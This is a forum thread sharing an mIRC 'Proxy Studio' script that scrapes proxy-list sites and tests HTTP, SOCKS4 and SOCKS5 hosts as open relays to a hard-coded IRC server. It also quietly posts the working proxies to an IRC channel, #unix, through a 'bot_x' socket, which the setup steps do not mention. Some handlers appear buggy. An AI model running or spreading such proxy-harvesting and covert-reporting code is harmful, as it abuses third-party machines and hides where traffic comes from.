  noop $regex($1,/(((http(s)?\72(\57{2}))|(www\56{1}))+(\w*)+(\56{1})+(\w{2,3})\S*)/Sig))
  return $regml(1)
}
alias sc5nfile { s5.scan $1- }
alias sc4nfile { s4.scan $1- }
alias sc4n {
  if (!$sock(bot_x).ip) b
  if (*.*.*.*  iswm $1-) && ($1 != x) && ($2)  {
    if ($read($pxy,w,* $+ $1 $+ *) != $null) { did -a proxystudio 19 $1 $2 Already in list, halted scan. $crlf | return }
    did -a proxystudio 19 Scanning: $1 $2 $crlf
    sockopen scan $+ $r(0,99999999999999) $1 $2
    return
  }
  if ($getiphost2($1-)) {
    if ($read($pxy,w,* $+ $gettok($getiphost2($1-),1,32) $+ *) != $null) { did -a proxystudio 19 $1 $+ : %+ $2 Already in list, halted scan. $crlf | goto next }
    did -a proxystudio 19 Scanning: $getiphost2($1-) $crlf
    sockopen scan $+ $r(0,99999999999999) $getiphost2($1-)
    goto next
  }
  if (*.*.*.* !iswm $1-) goto next
  if ($read($pxy,w,* $+ $wildtok($1-,*.*.*.*,1,32) $+ *) != $null) { did -a proxystudio 19 $wildtok($1-,*.*.*.*,1,32) Already in list, halted scan. $crlf | goto next }
  :next
}
alias setinterval {
  :restart
  %interval = $?="Enter interval in milliseconds, 1 to 1000 "
  if (!$!) || ($! >= 1000) goto restart
}
alias defaultset { %interval = 200 | %def.s = 164.132.126.130 | %def.p = 6667 }
alias scan.win { inc %scan.start | if (%scan.start == 1) defaultset | if (%interval == $null) setinterval | if ($window(@proxyscan) == $null) { window -e @proxyscan | window -e @sock4 | window -e @sock5 } }
alias selectmultiplefile { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE PROXY FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /pxyfile $shortfn($msfile(%sinc)) %interval | goto incthat }
menu * {
  [-Proxy Studio-]: dialog -m proxystudio proxystudio
}

alias pxy return ValidProxy.txt
alias abord { play stop | .timerleech off | .timerpl.* off | sockclose *scan* | sockclose *fl* | .timer*scan* off | hfreepxy | hfrees4 | hfrees5 }
on *:INPUT:@Proxyscan:{
  if ($getiphost2($1-)) {
    hadd -m proxy pxy $+ $gettok($getiphost2($1-),1,32) $getiphost2($1-)
    .timerscanfile -om 1 1 .pxyfile temp %interval
    return
  }
  if (!$getiphost2($1-)) && ($wildtok($1-,*.*.*.*,1,32)) sc4n $wildtok($1-,*.*.*.*,1,32)
}
alias hfreepxy { hfree proxy }
alias hfrees4 { hfree socks4 }
alias hfrees5 { hfree socks5 }
alias sk {
  set -u1 %chkk $read($pxy,w,* $+ $sock($sockname).ip $+ *)
  if (!%chkk) && (*9* iswm $1) write $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port
}
on *:sockopen:scan*:{
  hinc -u120 proxyset open
  did -a proxystudio 11 Open: $hget(proxyset,open)

  if ($sockerr > 0) { hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 $sock($sockname).ip $sock($sockname).port Error ( $+ $sock($sockname).wsmsg $+ ) $crlf | return }

  did -a proxystudio 19 $sock($sockname).ip $sock($sockname).port Connecting ... $crlf
  sockwrite -tn $sockname CONNECT $def.s $+ : $+ $def.p HTTP/1.1 $+ $crlf
  sockwrite -tn $sockname $crlf
  sockmark $sockname $ticks


}
alias success {
  set %yell $2 %yell
  if ($numtok(%yell,32) >= 16) { sockwrite -n bot_x PRIVMSG #unix :pxy: %yell | unset %yell }

  did -a proxystudio 19 $1- $crlf
  sk $1
}
alias allpxy return ALL.txt
alias portclose { sockclose $1 }

on *:SOCKREAD:scan*:{
  :READ
  sockread -n %fld
  if (!%fld) || (!$sockbr) return
  if (!$sock($sockname).mark) || ($sock($sockname).mark == c) sockmark $sockname $ctime
  if (*http*200* iswm %fld) {
    did -a proxystudio 24 $sock($sockname).ip $+ : $+ $sock($sockname).port $crlf
    hinc proxyset work
    did -a proxystudio 12 Working Proxys: $hget(proxyset,work)

    success * $sock($sockname).ip $+ : $+ $sock($sockname).port WORKING! Lag: $calc($ticks - $sock($sockname).mark) ms
    sockmark $sockname $ctime
    sockclose $Sockname
  }
  if ($gettok(%fld,1,32) == PING) { sockwrite -n $sockname PONG $remove($gettok(%fld,2,32),:) }
  goto READ
}
on 1:sockclose:scan*:{ hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. $crlf }
alias pb return did -a proxystudio 19
alias scanfile { sc4n $iif($getiphost2($1-),$getiphost2($1-),$2) }
alias pxyfile {
  if ($1 != temp) .timer -o 1 6 play -a scanfile @proxyscan $1 $2
  else {
    did -a proxystudio 19 Scanning $hfind(proxy,*,0,w) Proxys with %interval $+ ms interval to $crlf
    .timerSCANpxy -om $hfind(proxy,*,0,w) %interval scann pxy
  }
}
alias scann {
  if ($1 == pxy) {
    hinc -mu2 count hinc2
    sc4n $hget(proxy,$hfind(proxy,*,$hget(count,hinc2),w))
    .timerscanfileoff 1 5 .hfreepxy
  }
  if ($1 == s4) {
    hinc -mu2 count hinc3
    s4.scan $hget(socks4,$hfind(socks4,*,$hget(count,hinc3),w))
    .timerscanfileoffs4 1 5 .hfrees4
  }
  if ($1 == s5) {
    hinc -mu2 count hinc4
    s5.scan $hget(socks5,$hfind(socks5,*,$hget(count,hinc4),w))
    .timerscanfileoffs5 1 5 .hfrees5
  }
}
alias s5.scan {
  if (!$sock(bot_x).ip) b
  if (!$1) goto END
  if ($read(sock5.txt,w,* $+ $gettok($1,1,58) $+ *) != $null) { did -a proxystudio 19 $gettok($1,1,58) $+ : $+ $gettok($1,2,58) Already in list. $crlf | goto END }
  if (*.*.*.* iswm $1) && (*.*.*.*:* !iswm $1) {
    if ($read(sock5.txt,w,* $+ $1 $+ *) == $null) {
      sockopen s5chk $+ $r(0,9999999) $1 $2
      did -a proxystudio 19  Scanning: $1 $2 $crlf
    }
  }
  elseif (*.*.*.*:* iswm $1-) && ($read(sock5.txt,w,* $+ $getiphost2($1-) $+ *) == $null)  {
    sockopen s5chk $+ $r(0,9999999) $getiphost2($1-)
    did -a proxystudio 19 Scanning: $getiphost2($1-) $crlf
  }
  :END
}
alias selectmultiplefiles5 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK5 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s5file $shortfn($msfile(%sinc)) %interval | goto incthat }
alias selectmultiplefiles4 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK4 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s4file $shortfn($msfile(%sinc)) %interval | goto incthat }
alias s4.scan {
  if (!$sock(bot_x).ip) b
  if (!$1) goto END
  if ($read(sock4.txt,w,* $+ $gettok($1,1,58) $+ *) != $null) { did -a proxystudio 19 $gettok($1,1,58) $+ : $+ $gettok($1,2,58) Already in list $crlf | goto END }
  if (*.*.*.* iswm $1) && (*.*.*.*:* !iswm $1) {
    if ($read(sock4.txt,w,* $+ $1 $+ *) == $null) {
      sockopen s4chk $+ $r(0,9999999) $1 $2
      did -a proxystudio 19  Scanning: $1 $2 $crlf
    }
  }
  elseif (*.*.*.*:* iswm $1-) && ($read(sock5.txt,w,* $+ $getiphost2($1-) $+ *) == $null) {
    sockopen s4chk $+ $r(0,9999999) $getiphost2($1-)
    did -a proxystudio 19 Scanning: $getiphost2($1-) $crlf
  }
  :END
}
on *:sockopen:s5chk*:{
  if ($sockerr) { did -a proxystudio 19 Error $sock($sockname).ip $+ : $+ $sock($sockname).port ( $+ $sock($sockname).wsmsg $+ ) $crlf | return }
  hinc -u120 proxyset open
  did -a proxystudio 11 Open: $hget(proxyset,open)

  .bset &bvar5 1 5 1 0
  .sockwrite -n $sockname &bvar5
  .bunset &bvar5
}
on *:sockread:s5chk*:{
  if ($sockbr) { return }
  .sockread &bsocks5
  if ($bvar(&bsocks5,1,2) != 5 0) { return }
  if ($bvar(&bsocks5,1,2) == 5 0) && ($bvar(&bsocks5,3) != 0) {

    sockmark $sockname $ticks
    bset &socks5  1 5 1 0 1 $replace($def.s,.,$chr(32)) $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46)
    .sockwrite -n $sockname &socks5
    .bunset &socks5
    hinc proxyset work
    did -a proxystudio 12 Working Proxys: $hget(proxyset,work)
    did -a proxystudio 26 $sock($sockname).ip $+ : $+ $sock($sockname).port $crlf
    suces5 $sock($sockname).ip $+ : $+ $sock($sockname).port Lag: $calc($ticks - $sock($sockname).mark) $+ ms

  }
}
alias suces4 { did -a proxystudio 19 *work $1- $crlf | sk4 }
alias suces5 { did -a proxystudio 19 *work $1- $crlf | sk5 }
alias sk4 {
  set -u3 %rady $read(sock4.txt,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
  if (!%rady) write sock4.txt $sock($sockname).ip $+ : $+ $sock($sockname).port
  sockwrite -n bot_x PRIVMSG #unix :S4: $sock($sockname).ip $+ : $+ $sock($sockname).port
  set %yell $sock($sockname).ip $+ : $+ $sock($sockname).port %yell
  if ($numtok(%yell,32) >= 16) { sockwrite -n bot_x PRIVMSG #unix :S4: %yell | unset %yell }

}
alias sk5 {
  set -u3 %redy $read(sock5.txt,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
  if (!%redy) write sock5.txt $sock($sockname).ip $+ : $+ $sock($sockname).port
  set %yell $sock($sockname).ip $+ : $+ $sock($sockname).port %yell
  if ($numtok(%yell,32) >= 16) { sockwrite -n bot_x PRIVMSG #unix :S5: %yell | unset %yell }
}
on *:sockopen:s4chk*:{ 
  if ($sockerr) { did -a proxystudio 19 * Error $sock($sockname).ip $+ : $+ $sock($sockname).port ( $+ $sock($sockname).wsmsg $+ ) $crlf | return }
  hinc -u120 proxyset open
  did -a proxystudio 11 Open: $hget(proxyset,open)

  sockmark $sockname $ticks
  .bset &bvar4 1 4 1 $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46) $replace($def.s,.,$chr(32)) 0
  .sockwrite $sockname &bvar4
  .bunset &bvar4
}
ON *:SOCKREAD:s4chk*:{
  .sockread &bsocks4
  if ($bvar(&bsocks4,2) != 90) { echo 4 @sock4 Bad $sock($sockname).ip $+ : $+ $sock($sockname).port return $bvar(&bsocks4,2-) | return }
  if ($bvar(&bsocks4,2) == 90) {
    did -a proxystudio 25 $sock($sockname).ip $+ : $+ $sock($sockname).port $crlf
    hinc proxyset work
    did -a proxystudio 12 Working Proxys: $hget(proxyset,work)
    suces4 $sock($sockname).ip $+ : $+ $sock($sockname).port $calc($ticks - $sock($sockname).mark)) $+ ms

  }
}
on 1:SOCKCLOSE:s5*:{ hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 * $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. $crlf | return }
on 1:SOCKCLOSE:s4*:{ hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 * $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. $crlf | return }
alias scans4file { s4.scan $getiphost2($1-) }
alias s4file {
  if ($1 != temp.s4) .timer -o 1 6 play -a scans4file @sock4 $1-
  else {
    did -a proxystudio 19  Scanning $hfind(socks4,*,0,w) Socks4 with %interval $+ ms interval to %def.s and %def.s2 $crlf
    .timerSCANs4 -om $hfind(socks4,*,0,w) %interval scann s4
  }
}
alias scans5file { s5.scan $getiphost2($1-) }
alias s5file {
  if ($1 != temp.s5) .timer -o 1 6 play -a scans5file @sock5 $1-
  else {
    did -a proxystudio 19 Scanning $hfind(socks5,*,0,w) Socks5 with %interval $+ ms interval to %def.s and %def.s2 $crlf
    .timerSCANs5 -om $hfind(socks5,*,0,w) %interval scann s5
  }
}

3
General Chat / Re: IRC Proxy&Socks Grabber&Checker mIRC script
« on: February 11, 2014, 09:46:39 PM »
This didn't work for me unfortunately. Has anyone tried this already and see if it works?
Im sorry i didnt mention before you use /leech you must type /scan.win so the default variables are loaded

4
General Chat / IRC Proxy&Socks Grabber&Checker mIRC script
« on: February 05, 2014, 03:44:09 AM »
Just do these easy steps to get the scanner working.
-
1.) Download mIRC from mIRC: Internet Relay Chat client version does not matter.
2.) Open mIRC.
3.) Press ALT + R to open the remote tab.
4.) Then copy paste the code from the URL located below into mIRC remotes.
5.) Click Ok.
6.) Type /leech to leech the web for proxies; Do not worry if mIRC freezes or hangs, this means the script is working to import proxies into temporary files which will be scanned onward.
7.) Do not forget you can open the menu of the scanners windows by right-clicking on them.
8.) To scan custom proxies you can 1. ) Save your proxies into files (.txt) and click scan multiple files. OR 2.) Copy some proxies with (CTRL +C) paste them into the edit box (CTRL + V) .

Remember: You can always open the scanners window by typing: /scan.win or by accessing it from the menu.

[mIRC] Irc Proxy Scanner and Leecher - mIRC Script - Pastebin.com

5
General Chat / leecher
« on: March 11, 2011, 08:46:40 AM »
Code: [Select]
alias varset {
  unset %incvar
  :varset
  inc %incvar
  set % $+ $left($gettok($1,%incvar,59),1) $right($gettok($1,%incvar,59),1)
  if (%incvar >= $numtok($1,59)) return
  goto varset

}
on 1:SOCKOPEN:p-l*:{
  if ($sockerr) return
  sockwrite -n $sockname GET http://proxies.my-proxy.com/proxy-list- $+ $remove($sockname,p-l) $+ .html HTTP/1.0
  sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:p-l*:{
  sockread -fn &buffer
  if (*.*.*.*:* iswm $bvar(&buffer,1,200).text) {
    %inc.a = 0
    %MAX.a = $bvar(&buffer,0)
    while (%inc.a < %max.a) {
      inc %inc.a 300
      %text.a = $bvar(&buffer,$calc(%inc.a -299),%inc.a).text
      %maximum = $numtok(%text.a,60)
      set %incthashit 1
      while (%incthashit < %maximum) { sc4n $gettok(%text.a,%incthashit,60) | inc %incthashit }
    }
    elseif (%inc.a >= %max.a) {
      %text.a = $bvar(&buffer,$calc(%inc.a -299),%max.a).text
      %maximum = $numtok(%text.a,60)
      set %incthashit 1
      while (%incthashit < %maximum) { sc4n $gettok(%text.a,%incthashit,60) | inc %incthashit }
      unset %inc.a,%max.a
    }
  }
}
on 1:SOCKOPEN:nntime*:{
  if ($sockerr) return
  sockwrite -n $sockname GET http://nntime.com/proxy-list- $+ $remove($sockname,nntime) $+ .htm HTTP/1.0
  sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:nntime*:{
  sockread -n %temp
  ;echo -a $htmlfree(%temp)
  if ($getiphost2($htmlfree(%temp))) sc4n $getiphost2($htmlfree(%temp))
}
on 1:SOCKOPEN:sworld*:{
  if ($sockerr) return
  sockwrite -n $sockname GET http://socks-world.blogspot.com/ HTTP/1.0
  sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:sworld*:{
  sockread -n %temp
  ;echo -a $htmlfree(%temp)
  if ($getiphost2($htmlfree(%temp))) s4.scan $getiphost2($htmlfree(%temp))
  if ($getiphost2($htmlfree(%temp))) s5.scan $getiphost2($htmlfree(%temp))
}

alias leech {
  echo @proxyscan 4 $+ $timestamp * Now leeching proxy-lists over the web, mIRC might freeze (if so use CTRL + BREAK)
  .timeralive -o 1 5 sockopen alive aliveproxylist.blogspot.com 80
  .timerNNtime 1 1 sockopen nntime01 nntime.com 80
  .timerproxy4free -o 1 5 sockopen pxy4free1 www.proxy4free.com 80
  .timerproxy4free1 -o 1 15 sockopen pxy4free2 www.proxy4free.com 80
  .timeranonchk -o 1 5 sockopen anonchk1 www.anonymitychecker.com 80
  .timeranonchk1 -o 1 15 sockopen anonchk2 www.anonymitychecker.com 80
  .timerspl -o 1 0 sockopen xspl socksproxylists.com 80
  .timernn2 1 $calc(10*1) sockopen nntime02 nntime.com 80
  .timernn3 1 $calc(10*2) sockopen nntime03 nntime.com 80
  .timernn4 1 $calc(10*3) sockopen nntime04 nntime.com 80
  .timernn5 1 $calc(10*4) sockopen nntime05 nntime.com 80
  .timernn6 1 $calc(10*5) sockopen nntime06 nntime.com 80
  .timernn7 1 $calc(10*6) sockopen nntime07 nntime.com 80
  .timernn8 1 $calc(10*7) sockopen nntime08 nntime.com 80
  .timernn9 1 $calc(10*8) sockopen nntime09 nntime.com 80
  .timernn10 1 $calc(10*9) sockopen nntime10 nntime.com 80
  .timernn11 1 $calc(10*10) sockopen nntime11 nntime.com 80
  .timernn12 1 $calc(10*11) sockopen nntime12 nntime.com 80
  .timernn13 1 $calc(10*12) sockopen nntime13 nntime.com 80
  .timernn14 1 $calc(10*13) sockopen nntime14 nntime.com 80
  .timernn15 1 $calc(10*14) sockopen nntime15 nntime.com 80
  .timernn16 1 $calc(10*15) sockopen nntime16 nntime.com 80
  sockopen p-l1 proxies.my-proxy.com 80
  .timersworld 1 1 sockopen sworld socks-world.blogspot.com 80
  .timerpmp2 1 $calc(10*1) sockopen p-l2 proxies.my-proxy.com 80
  .timerpmp3 1 $calc(10*2) sockopen p-l3 proxies.my-proxy.com 80
  .timerpmp4 1 $calc(10*3) sockopen p-l4 proxies.my-proxy.com 80
  .timerpmp5 1 $calc(10*4) sockopen p-l5 proxies.my-proxy.com 80
  .timerpmp6 1 $calc(10*5) sockopen p-l6 proxies.my-proxy.com 80
  .timerpmp7 1 $calc(10*6) sockopen p-l7 proxies.my-proxy.com 80
  .timerpmp8 1 $calc(10*7) sockopen p-l8 proxies.my-proxy.com 80
  .timerpmp9 1 $calc(10*8) sockopen p-l9 proxies.my-proxy.com 80
  .timerpmp10 1 $calc(10*9) sockopen p-l10 proxies.my-proxy.com 80
  .timerpmp11 1 $calc(10*10) sockopen p-ls1 proxies.my-proxy.com 80
  .timerpmp12 1 $calc(10*11) sockopen p-ls2 proxies.my-proxy.com 80
  .timerpmp13 1 $calc(10*12) sockopen p-ls3 proxies.my-proxy.com 80
  .timersam1 1 10 sockopen sam01 samair.ru 80
  .timersam2 1 $calc(10*2) sockopen sam02 samair.ru 80
  .timersam3 1 $calc(10*3) sockopen sam03 samair.ru 80
  .timersam4 1 $calc(10*4) sockopen sam04 samair.ru 80
  .timersam5 1 $calc(10*5) sockopen sam05 samair.ru 80
  .timersam6 1 $calc(10*6) sockopen sam06 samair.ru 80
  .timersam7 1 $calc(10*7) sockopen sam07 samair.ru 80
  .timersam8 1 $calc(10*8) sockopen sam08 samair.ru 80
  .timersam9 1 $calc(10*9) sockopen sam09 samair.ru 80
  .timersam10 1 $calc(10*10) sockopen sam10 samair.ru 80
  .timersam11 1 $calc(10*11) sockopen sam11 samair.ru 80
  .timersam12 1 $calc(10*12) sockopen sam12 samair.ru 80
  .timersam13 1 $calc(10*13) sockopen sam13 samair.ru 80
  .timersam14 1 $calc(10*14) sockopen sam14 samair.ru 80
  .timersam15 1 $calc(10*15) sockopen sam15 samair.ru 80
  .timersam16 1 $calc(10*16) sockopen sam16 samair.ru 80
  .timersam17 1 $calc(10*17) sockopen sam17 samair.ru 80
  .timersam18 1 $calc(10*18) sockopen sam18 samair.ru 80
  .timersam19 1 $calc(10*19) sockopen sam19 samair.ru 80
  .timersam20 1 $calc(10*20) sockopen sam20 samair.ru 80
  .timersam21 1 $calc(10*21) sockopen sam21 samair.ru 80
  .timersam22 1 $calc(10*22) sockopen sam22 samair.ru 80
  .timersam23 1 $calc(10*23) sockopen sam23 samair.ru 80
  .timersam24 1 $calc(10*24) sockopen sam24 samair.ru 80
  .timerAntiproxy -o 1 250  sockopen anti proxy.antipalivo.ru 80
  .timerLEECH -o 0 3600 leech
}
on 1:SOCKOPEN:sam*:{
  if ($sockerr) { return }
  sockwrite -n $sockname GET http://samair.ru/proxy/proxy- $+ $right($sockname,2) $+ .htm HTTP/1.0
  sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:sam*:{
  sockread -fn &buffer
  %max.b = $wildtok($bvar(&buffer,1,$bvar(&buffer,0)).text,*.*.*.*:*,0,60)
  %inc.b = 0
  while (%max.b > %inc.b) { sc4n $wildtok($bvar(&buffer,1,$bvar(&buffer,0)).text,*.*.*.*:*,%inc.b,60) | inc %inc.b }
}
on 1:SOCKREAD:alive*:{
  sockread -n %temp
  if ($getiphost2(%temp)) {
    if (*Protocol*SOCKS4* iswm %temp) {
      s4.scan $getiphost2($gettok(%temp,1,44))
      s4.scan $getiphost2($gettok(%temp,2,44))
      s4.scan $getiphost2($gettok(%temp,3,44))
      s4.scan $getiphost2($gettok(%temp,4,44))
      s4.scan $getiphost2($gettok(%temp,5,44))
      s4.scan $getiphost2($gettok(%temp,6,44))
      s4.scan $getiphost2($gettok(%temp,7,44))
      s4.scan $getiphost2($gettok(%temp,8,44))
      s4.scan $getiphost2($gettok(%temp,9,44))
      s4.scan $getiphost2($gettok(%temp,10,44))
      s4.scan $getiphost2($gettok(%temp,11,44))
      s4.scan $getiphost2($gettok(%temp,12,44))
      s4.scan $getiphost2($gettok(%temp,13,44))
      s4.scan $getiphost2($gettok(%temp,14,44))
      s4.scan $getiphost2($gettok(%temp,15,44))
      s4.scan $getiphost2($gettok(%temp,16,44))
      s4.scan $getiphost2($gettok(%temp,17,44))
      s4.scan $getiphost2($gettok(%temp,18,44))
      goto end
    }
    elseif (*Protocol*SOCKS5* iswm %temp) {
      s5.scan $getiphost2($gettok(%temp,1,44))
      s5.scan $getiphost2($gettok(%temp,2,44))
      s5.scan $getiphost2($gettok(%temp,3,44))
      s5.scan $getiphost2($gettok(%temp,5,44))
      s5.scan $getiphost2($gettok(%temp,5,44))
      s5.scan $getiphost2($gettok(%temp,6,44))
      s5.scan $getiphost2($gettok(%temp,7,44))
      s5.scan $getiphost2($gettok(%temp,8,44))
      s5.scan $getiphost2($gettok(%temp,9,44))
      s5.scan $getiphost2($gettok(%temp,10,44))
      s5.scan $getiphost2($gettok(%temp,11,44))
      s5.scan $getiphost2($gettok(%temp,12,44))
      s5.scan $getiphost2($gettok(%temp,13,44))
      s5.scan $getiphost2($gettok(%temp,15,44))
      s5.scan $getiphost2($gettok(%temp,15,44))
      s5.scan $getiphost2($gettok(%temp,16,44))
      s5.scan $getiphost2($gettok(%temp,17,44))
      s5.scan $getiphost2($gettok(%temp,18,44))
      goto end
    }
    else {
      sc4n $getiphost2($gettok(%temp,1,44))
      sc4n $getiphost2($gettok(%temp,2,44))
      sc4n $getiphost2($gettok(%temp,3,44))
      sc4n $getiphost2($gettok(%temp,5,44))
      sc4n $getiphost2($gettok(%temp,5,44))
      sc4n $getiphost2($gettok(%temp,6,44))
      sc4n $getiphost2($gettok(%temp,7,44))
      sc4n $getiphost2($gettok(%temp,8,44))
      sc4n $getiphost2($gettok(%temp,9,44))
      sc4n $getiphost2($gettok(%temp,10,44))
      sc4n $getiphost2($gettok(%temp,11,44))
      sc4n $getiphost2($gettok(%temp,12,44))
      sc4n $getiphost2($gettok(%temp,13,44))
      sc4n $getiphost2($gettok(%temp,15,44))
      sc4n $getiphost2($gettok(%temp,15,44))
      sc4n $getiphost2($gettok(%temp,16,44))
      sc4n $getiphost2($gettok(%temp,17,44))
      sc4n $getiphost2($gettok(%temp,18,44))
    }
    :END
    .timerOFF $+ $sockname 1 5 sockclose $sockname
  }
}
on 1:SOCKOPEN:alive*:{
  if ($sockerr) return
  sockwrite -n $sockname GET http://aliveproxylist.blogspot.com/ HTTP/1.0
  sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:proxy4free*:{
  sockread -n %temp
  %hfreedtxt = $htmlfree(%temp)
  if ($getiphost2(%hfreedtxt)) { sc4n $v1 | goto end }
  if (%hfreedtxt != $null) && ($gettok(%hfreedtxt,1,46) isnum)  && ($gettok(%hfreedtxt,2,46) isnum)  && ($gettok(%hfreedtxt,3,46) isnum)  && ($gettok(%hfreedtxt,4,46) isnum) set %pxytmp $wildtok(%hfreedtxt,*.*.*.*,1,32)
  if (%hfreedtxt != $null) && (*.*.*.* iswm %pxytmp) && (%hfreedtxt isnum) { sc4n $getiphost2(%pxytmp %hfreedtxt) | unset %pxytmp }
  :END
}


on 1:SOCKOPEN:proxy4free*:{
  if ($sockerr) return
  unset %hfreedtxt,%pxytmp
  sockwrite -n $sockname GET http://www.proxy4free.com/page $+ $remove($sockname,proxy4free) $+ .html HTTP/1.0
  sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:anonchk*:{
  sockread -n %temp11
  %hfreedtxt1 = $htmlfree(%temp11)
  if ($getiphost2(%hfreedtxt11)) { sc4n $v1 | goto end }
  if (%hfreedtxt11 != $null) && ($gettok(%hfreedtxt11,1,46) isnum)  && ($gettok(%hfreedtxt11,2,46) isnum)  && ($gettok(%hfreedtxt11,3,46) isnum)  && ($gettok(%hfreedtxt11,4,46) isnum) set %pxytmp1 $wildtok(%hfreedtxt11,*.*.*.*,1,32)
  if (%hfreedtxt11 != $null) && (*.*.*.* iswm %pxytmp11) && (%hfreedtxt11 isnum) { sc4n $getiphost2(%pxytmp11 %hfreedtxt11) | unset %pxytmp11 }
  :END
}
on 1:SOCKOPEN:anonchk*:{
  if ($sockerr) return
  unset %hfreedtxt11,%pxytmp11
  sockwrite -n $sockname GET http://www.anonymitychecker.com/page $+ $remove($sockname,anonchk) $+ .html HTTP/1.0
  sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:spl*:{
  sockread -n %temp1
  %hfreedtxt1 = $htmlfree(%temp1)
  :INC
  inc %inc.x
  if (*@SOCKS4* iswm $gettok(%hfreedtxt1,%inc.x,13)) { s4.scan $getiphost2($v2) }
  if (*@SOCKS5* iswm $gettok(%hfreedtxt1,%inc.x,13)) { s5.scan $getiphost2($v2) }
  if (30 >= %inc.x) goto inc
  :END
  unset %inc.x
}
on 1:SOCKOPEN:spl*:{
  if ($sockerr) return
  unset %hfreedtxt1,%pxytmp1
  sockwrite -n $sockname GET http://www.socksproxylists.com/SocksProxyLists/ $+ $sock($sockname).mark  HTTP/1.0
  sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:xspl*:{
  sockread -n %temp1
  if (*a*href*.htm* iswm %temp1) {
    set %xspl $remove($wildtok(%temp1,*.htm*,1,32),href=,",$chr(62))
    %xtmp = SPL $+ $r(0,99999)
    sockopen %xtmp $sock($sockname).ip 80
    sockmark %xtmp %xspl
    .timerOFF $+ $sockname 1 5 sockclose $sockname
  }
}
on 1:SOCKOPEN:xspl*:{
  if ($sockerr) return
  unset %hfreedtxt1,%pxytmp1
  sockwrite -n $sockname GET http://www.socksproxylists.com/SocksProxyLists/  HTTP/1.0
  sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:anti*:{
  sockread -n &buffer
  %hfreedtxt2 = $htmlfree($bvar(&buffer,1,$bvar(&buffer,0)).text)
  if (*Proxy*list* iswm %hfreedtxt2) { %type1 = pxy }
  if (*SOCKS4* iswm %hfreedtxt2) { %type1 = s4 }
  if (*SOCKS5* iswm %hfreedtxt2) { %type1 = s5 }
  if (*name*=*'*';* iswm %hfreedtxt2) set %pxytmp2 $remove(%hfreedtxt2,name,=,',;)
  if (port*=*;* iswm %hfreedtxt2) {
    set %port $+ $gettok($remove(%hfreedtxt2,port),1,32) $remove($gettok(%hfreedtxt2,3,32),;)
  }
  if (*=*+*/*;* iswm %hfreedtxt2) {
    %eval = % $+ $gettok(%hfreedtxt2,3,32)
    %evall = $eval([ [ %eval ] ],1)
    set %parsed $calc(%evall + $gettok(%hfreedtxt2,5-6,32) $remove($gettok(%hfreedtxt2,7,32),;))
    if (%type1 == pxy) sc4n %pxytmp2 %parsed
    if (%type1 == s4) s4.scan %pxytmp2 %parsed
    if (%type1 == s5) s5.scan %pxytmp2 %parsed
    unset %port*,%parsed,%pxytmp2
  }
}

on 1:SOCKOPEN:anti*:{
  if ($sockerr) return
  unset %port*,%parsed,%pxytmp2
  sockwrite -n $sockname GET http://proxy.antipalivo.ru/ HTTP/1.0
  sockwrite -n $sockname $crlf
}

6
General Chat / Proxy&Socks Scanner + leecher
« on: March 11, 2011, 08:45:49 AM »
Put in remotes of mIRC (ALT+R) click Ok. Type: /leech
Need mIRCv6.21 or higher
Enjoy
-----

Code: [Select]
alias sc5nfile { s5.scan $1- }
alias sc4nfile { s4.scan $1- }
alias htmlfree return $regsubex($$1-,/^[^<]*>|<[^>]*>|<[^>]*$/g,)
alias sc4n {
  if (*.*.*.*  iswm $1-) && ($1 != x) && ($2)  {
    if (666* !iswm $2) && (7000 != $2) {
      if ($read($pxy,w,* $+ $1 $+ *) != $null) { echo @proxyscan $1 $2 Already in list, halted scan. | halt }
      echo @Proxyscan  Scanning: $1 $2
      sockopen scan $+ $r(0,99999999999999) $1 $2
      halt
    }
  }
  if ($getiphost2($1-)) {
    if ($read($pxy,w,* $+ $gettok($getiphost2($1-),1,32) $+ *) != $null) { echo @proxyscan $1 $2 Already in list, halted scan. | goto next }
    echo @Proxyscan  Scanning: $getiphost2($1-)
    sockopen scan $+ $r(0,99999999999999) $getiphost2($1-)
    goto next
  }
  if (*.*.*.* !iswm $1-) goto next
  if ($read($pxy,w,* $+ $wildtok($1-,*.*.*.*,1,32) $+ *) != $null) { echo @Proxyscan $wildtok($1-,*.*.*.*,1,32) Already in list, halted scan. | goto next }
  :next
}
alias setinterval {
  echo -a SET AN INTERVAL BETWEEN 1 and 10000 MILLISECONDS, DEPENDING ON YOUR CONNECTION 1 IS VERY FAST AND MOST SUITED FOR CABLE USERS.
  echo -a To run the script without problem try an interval between 500 and 5000
  :restart
  %interval = $?="Enter interval in milliseconds, 1 to 10000 "
  if (!$!) || ($! >= 10000) goto restart
}
alias scan.win { %def.s = $def.s | %def.p = 6667 | %def.c = proxies | if (%interval == $null) set %interval 1 | if ($window(@proxyscan) == $null) { localinfo | window -e @proxyscan } }
